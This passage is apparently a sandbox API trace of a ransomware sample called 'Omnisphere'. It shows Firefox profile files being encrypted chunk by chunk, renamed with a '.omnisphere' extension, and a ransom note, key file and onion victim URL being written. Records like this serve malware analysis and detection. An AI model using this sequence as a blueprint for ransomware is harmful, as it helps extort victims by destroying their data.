out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0161.394] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0161.394] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0161.394] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0161.394] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0161.394] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0161.394] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0161.395] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0161.395] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0161.395] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0161.395] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0161.395] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0161.395] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0161.395] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0161.395] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0161.395] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0161.395] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0161.395] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0161.395] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0161.395] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0161.395] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0161.395] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0161.395] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0161.395] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0161.395] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0161.395] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0161.395] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0161.395] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0161.395] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0161.395] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0161.396] CryptDestroyKey (hKey=0x1639868) returned 1 [0161.396] CryptReleaseContext (hProv=0x1668ac0, dwFlags=0x0) returned 1 [0161.396] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x1433, lpNewFilePointer=0x0, dwMoveMethod=0x3e0d2c4 | out: lpNewFilePointer=0x0) returned 1 [0161.396] WriteFile (in: hFile=0x288, lpBuffer=0x3e0cd78*, nNumberOfBytesToWrite=0x524, lpNumberOfBytesWritten=0x3e0d2d8, lpOverlapped=0x0 | out: lpBuffer=0x3e0cd78*, lpNumberOfBytesWritten=0x3e0d2d8*=0x524, lpOverlapped=0x0) returned 1 [0161.396] GetProcessHeap () returned 0x1600000 [0161.397] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x2d2) returned 0x1748118 [0161.397] MoveFileW (lpExistingFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\sessionstore.js" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\mozilla\\firefox\\profiles\\w7cr0hor.default\\sessionstore.js"), lpNewFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\sessionstore.js.omnisphere" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\mozilla\\firefox\\profiles\\w7cr0hor.default\\sessionstore.js.omnisphere")) returned 1 [0161.397] lstrcatW (in: lpString1="C:\\Users\\FD1HVy\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\sessionstore.js.omnisphere", lpString2=".id" | out: lpString1="C:\\Users\\FD1HVy\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\sessionstore.js.omnisphere.id") returned="C:\\Users\\FD1HVy\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\sessionstore.js.omnisphere.id" [0161.398] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\sessionstore.js.omnisphere.id" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\mozilla\\firefox\\profiles\\w7cr0hor.default\\sessionstore.js.omnisphere.id"), dwDesiredAccess=0x40000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x388 [0161.398] WriteFile (in: hFile=0x388, lpBuffer=0x3e0cd78*, nNumberOfBytesToWrite=0x524, lpNumberOfBytesWritten=0x3e0cd60, lpOverlapped=0x0 | out: lpBuffer=0x3e0cd78*, lpNumberOfBytesWritten=0x3e0cd60*=0x524, lpOverlapped=0x0) returned 1 [0161.399] CloseHandle (hObject=0x388) returned 1 [0161.399] UnmapViewOfFile (lpBaseAddress=0x1480000) returned 1 [0161.399] CloseHandle (hObject=0x3c0) returned 1 [0161.399] SetEndOfFile (hFile=0x288) returned 1 [0161.399] FlushFileBuffers (hFile=0x288) returned 1 [0161.403] CloseHandle (hObject=0x288) returned 1 [0161.403] PathRemoveFileSpecW (in: pszPath="C:\\Users\\FD1HVy\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\sessionstore.js" | out: pszPath="C:\\Users\\FD1HVy\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default") returned 1 [0161.403] GetProcessHeap () returned 0x1600000 [0161.403] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x515) returned 0x17483f8 [0161.404] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="http://uu6issmbncd3wjkm.onion/", cchWideChar=30, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 30 [0161.404] GetProcessHeap () returned 0x1600000 [0161.404] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x1f) returned 0x17342b0 [0161.404] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="http://uu6issmbncd3wjkm.onion/", cchWideChar=30, lpMultiByteStr=0x17342b0, cbMultiByte=31, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="http://uu6issmbncd3wjkm.onion/", lpUsedDefaultChar=0x0) returned 30 [0161.404] lstrcatA (in: lpString1="", lpString2="http://uu6issmbncd3wjkm.onion/" | out: lpString1="http://uu6issmbncd3wjkm.onion/") returned="http://uu6issmbncd3wjkm.onion/" [0161.404] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="RHPZ2AXYR2V4JCIV", cchWideChar=16, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 16 [0161.404] GetProcessHeap () returned 0x1600000 [0161.404] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x11) returned 0x17267d8 [0161.404] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="RHPZ2AXYR2V4JCIV", cchWideChar=16, lpMultiByteStr=0x17267d8, cbMultiByte=17, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="RHPZ2AXYR2V4JCIV", lpUsedDefaultChar=0x0) returned 16 [0161.404] lstrcatA (in: lpString1="http://uu6issmbncd3wjkm.onion/", lpString2="RHPZ2AXYR2V4JCIV" | out: lpString1="http://uu6issmbncd3wjkm.onion/RHPZ2AXYR2V4JCIV") returned="http://uu6issmbncd3wjkm.onion/RHPZ2AXYR2V4JCIV" [0161.404] GetProcessHeap () returned 0x1600000 [0161.404] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0xd2) returned 0x17301c8 [0161.404] PathCombineW (in: pszDest=0x17301c8, pszDir="C:\\Users\\FD1HVy\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default", pszFile="!DECRYPT_OMNISPHERE.txt" | out: pszDest="C:\\Users\\FD1HVy\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\!DECRYPT_OMNISPHERE.txt") returned="C:\\Users\\FD1HVy\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\!DECRYPT_OMNISPHERE.txt" [0161.404] GetProcessHeap () returned 0x1600000 [0161.404] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x589) returned 0x173d0d0 [0161.404] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\!DECRYPT_OMNISPHERE.txt" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\mozilla\\firefox\\profiles\\w7cr0hor.default\\!decrypt_omnisphere.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x288 [0161.404] WriteFile (in: hFile=0x288, lpBuffer=0x173d0d0*, nNumberOfBytesToWrite=0x588, lpNumberOfBytesWritten=0x3e0d2f8, lpOverlapped=0x0 | out: lpBuffer=0x173d0d0*, lpNumberOfBytesWritten=0x3e0d2f8*=0x588, lpOverlapped=0x0) returned 1 [0161.405] CloseHandle (hObject=0x288) returned 1 [0161.405] GetProcessHeap () returned 0x1600000 [0161.405] HeapFree (in: hHeap=0x1600000, dwFlags=0x0, lpMem=0x17483f8 | out: hHeap=0x1600000) returned 1 [0161.405] GetProcessHeap () returned 0x1600000 [0161.405] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0xc8) returned 0x162c2b8 [0161.405] PathCombineW (in: pszDest=0x162c2b8, pszDir="C:\\Users\\FD1HVy\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default", pszFile="unique_decrypt.key" | out: pszDest="C:\\Users\\FD1HVy\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\unique_decrypt.key") returned="C:\\Users\\FD1HVy\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\unique_decrypt.key" [0161.405] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\unique_decrypt.key" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\mozilla\\firefox\\profiles\\w7cr0hor.default\\unique_decrypt.key"), dwDesiredAccess=0x40000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x288 [0161.405] WriteFile (in: hFile=0x288, lpBuffer=0x1647c78*, nNumberOfBytesToWrite=0x5a0, lpNumberOfBytesWritten=0x3e0d30c, lpOverlapped=0x0 | out: lpBuffer=0x1647c78*, lpNumberOfBytesWritten=0x3e0d30c*=0x5a0, lpOverlapped=0x0) returned 1 [0161.405] CloseHandle (hObject=0x288) returned 1 [0161.405] GetProcessHeap () returned 0x1600000 [0161.405] HeapFree (in: hHeap=0x1600000, dwFlags=0x0, lpMem=0x162c2b8 | out: hHeap=0x1600000) returned 1 [0161.405] GetProcessHeap () returned 0x1600000 [0161.405] HeapFree (in: hHeap=0x1600000, dwFlags=0x0, lpMem=0x162bd08 | out: hHeap=0x1600000) returned 1 [0161.406] FindNextFileW (in: hFindFile=0x16395e8, lpFindFileData=0x3e0d5a8 | out: lpFindFileData=0x3e0d5a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x143f0f49, ftCreationTime.dwHighDateTime=0x1d327ca, ftLastAccessTime.dwLowDateTime=0x143f0f49, ftLastAccessTime.dwHighDateTime=0x1d327ca, ftLastWriteTime.dwLowDateTime=0xb81085d6, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x71e, dwReserved0=0x0, dwReserved1=0xcc, cFileName="SiteSecurityServiceState.txt", cAlternateFileName="SITESE~1.TXT")) returned 1 [0161.406] GetProcessHeap () returned 0x1600000 [0161.406] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0xdc) returned 0x172a780 [0161.406] PathCombineW (in: pszDest=0x172a780, pszDir="C:\\Users\\FD1HVy\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default", pszFile="SiteSecurityServiceState.txt" | out: pszDest="C:\\Users\\FD1HVy\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\SiteSecurityServiceState.txt") returned="C:\\Users\\FD1HVy\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\SiteSecurityServiceState.txt" [0161.406] StrStrW (lpFirst=".omnisphere", lpSrch=".txt") returned 0x0 [0161.406] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\SiteSecurityServiceState.txt" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\mozilla\\firefox\\profiles\\w7cr0hor.default\\sitesecurityservicestate.txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x5, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x288 [0161.407] GetFileSizeEx (in: hFile=0x288, lpFileSize=0x3e0d2d0 | out: lpFileSize=0x3e0d2d0*=1822) returned 1 [0161.407] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x1fa, lpNewFilePointer=0x0, dwMoveMethod=0x3e0d2c4 | out: lpNewFilePointer=0x0) returned 1 [0161.407] ReadFile (in: hFile=0x288, lpBuffer=0x3e0cd78, nNumberOfBytesToRead=0x524, lpNumberOfBytesRead=0x3e0d2c0, lpOverlapped=0x0 | out: lpBuffer=0x3e0cd78*, lpNumberOfBytesRead=0x3e0d2c0*=0x524, lpOverlapped=0x0) returned 1 [0161.416] GetTickCount () returned 0x116817c [0161.416] GetTickCount () returned 0x116817c [0161.416] GetTickCount () returned 0x116817c [0161.416] GetTickCount () returned 0x116817c [0161.416] GetTickCount () returned 0x116817c [0161.416] GetTickCount () returned 0x116817c [0161.417] GetTickCount () returned 0x116817c [0161.417] GetTickCount () returned 0x116817c [0161.417] GetTickCount () returned 0x116817c [0161.417] GetTickCount () returned 0x116817c [0161.417] GetTickCount () returned 0x116817c [0161.417] GetTickCount () returned 0x116817c [0161.417] GetTickCount () returned 0x116817c [0161.417] GetTickCount () returned 0x116817c [0161.417] GetTickCount () returned 0x116817c [0161.417] GetTickCount () returned 0x116817c [0161.417] GetTickCount () returned 0x116817c [0161.417] GetTickCount () returned 0x116817c [0161.417] GetTickCount () returned 0x116817c [0161.417] GetTickCount () returned 0x116817c [0161.417] GetTickCount () returned 0x116817c [0161.417] GetTickCount () returned 0x116817c [0161.417] GetTickCount () returned 0x116817c [0161.417] GetTickCount () returned 0x116817c [0161.417] GetTickCount () returned 0x116817c [0161.417] GetTickCount () returned 0x116817c [0161.417] GetTickCount () returned 0x116817c [0161.417] GetTickCount () returned 0x116817c [0161.417] GetTickCount () returned 0x116817c [0161.417] GetTickCount () returned 0x116817c [0161.417] GetTickCount () returned 0x116817c [0161.417] GetTickCount () returned 0x116817c [0161.417] CryptAcquireContextW (in: phProv=0x3e0cd58, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000040 | out: phProv=0x3e0cd58*=0x16689b0) returned 1 [0161.418] CryptImportKey (in: hProv=0x16689b0, pbData=0x3e0ccc0, dwDataLen=0x94, hPubKey=0x0, dwFlags=0x0, phKey=0x3e0cd64 | out: phKey=0x3e0cd64*=0x1639b28) returned 1 [0161.418] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x3e0d210*, pdwDataLen=0x3e0cd54*=0x75, dwBufLen=0x80 | out: pbData=0x3e0d210*, pdwDataLen=0x3e0cd54*=0x80) returned 1 [0161.418] CryptDestroyKey (hKey=0x1639b28) returned 1 [0161.418] CryptReleaseContext (hProv=0x16689b0, dwFlags=0x0) returned 1 [0161.418] CreateFileMappingW (hFile=0x288, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x71e, lpName=0x0) returned 0x3c0 [0161.419] MapViewOfFile (hFileMappingObject=0x3c0, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x71e) returned 0x1480000 [0161.419] CryptAcquireContextW (in: phProv=0x3e0cd48, szContainer=0x0, szProvider=0x0, dwProvType=0x18, dwFlags=0xf0000040 | out: phProv=0x3e0cd48*=0x16681b8) returned 1 [0161.420] CryptImportKey (in: hProv=0x16681b8, pbData=0x3e0cd00, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x3e0cd58 | out: phKey=0x3e0cd58*=0x1639628) returned 1 [0161.420] CryptSetKeyParam (hKey=0x1639628, dwParam=0x4, pbData=0x3e0cd3c*=0x2, dwFlags=0x0) returned 1 [0161.420] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x3e0cd44*=0x10, dwBufLen=0x10 | out: pbData=0x0*, pdwDataLen=0x3e0cd44*=0x10) returned 1 [0161.420] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0161.420] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0161.420] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0161.420] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0161.420] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0161.420] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0161.420] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0161.420] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0161.420] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0161.420] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0161.420] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0161.420] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0161.421] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0161.421] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0161.421] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0161.421] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0161.421] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0161.421] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0161.421] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0161.421] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0161.421] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: 